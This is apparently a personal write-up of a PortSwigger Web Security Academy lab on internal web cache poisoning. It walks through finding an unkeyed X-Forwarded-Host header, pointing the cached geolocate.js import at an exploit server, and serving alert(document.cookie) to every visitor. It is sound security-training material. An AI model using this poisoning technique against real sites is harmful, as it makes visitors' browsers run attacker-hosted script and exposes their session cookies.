| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Web Cache Poisoning — Internal Cache Poisoning via Unkeyed Header |
| Difficulty | Expert |
| Objective | Poison the internal cache so that the home page executes alert(document.cookie) in the victim's browser |
| Note | A user regularly visits the home page using Chrome; the site uses multiple layers of caching |
Web Cache Poisoning with Multiple Layers of Caching¶
Intercepting GET /:
The response body included a canonical link and a familiar JSONP-style script import:
<link rel="canonical" href='//0ab30057035b394080e630e800f6001c.web-security-academy.net/'/>
<script src=//0ab30057035b394080e630e800f6001c.web-security-academy.net/js/geolocate.js?callback=loadCountry></script>
Testing with a query param confirmed the canonical link reflects it. Checking /js/geolocate.js?callback=loadCountry:
loadCountry({"country":"United Kingdom"});
Same JSONP callback pattern as previous labs — callback controls what function gets invoked with the geo data.
Running Param Miner on / and /js/geolocate.js:
X-Forwarded-Host came up as an unlinked parameter. Testing it:
GET /?teto=1 HTTP/2
X-Forwarded-Host: teto.com
<link rel="canonical" href='//teto.com/?teto=1'/>
X-Forwarded-Host controls the host in the canonical link — and since the script import uses the same host, it also shifts the geolocate.js source. But removing the header immediately reverted the response to normal. That's the important signal: the external/front-end cache isn't storing the poisoned version. With multiple cache layers, the external cache only serves what it already has stored, while the internal cache actually assembles the page from smaller cached components — and it's the internal cache that needs to absorb the poisoning through repeated requests.
I set up the exploit server to serve the payload at the expected path:
file: /js/geolocate.js
body: alert(document.cookie)
Then sent the poisoning request repeatedly:
GET / HTTP/2
X-Forwarded-Host: exploit-0af700b70362390180802fc30109001e.exploit-server.net
Each request was forwarded to the backend, which constructed the page with the exploit server as the host. The practical signal that the internal cache had absorbed the poisoning was a change in match count — the number of times our exploit server domain appeared in the response body increased from 3 to 4, indicating the internal cache had updated its component:
Once that happened, the home page loaded geolocate.js from the exploit server and fired alert(document.cookie) for any visitor — without needing the header on every request.
Lab solved... Section Finished.. Maybe I'll revisit this section again in a time.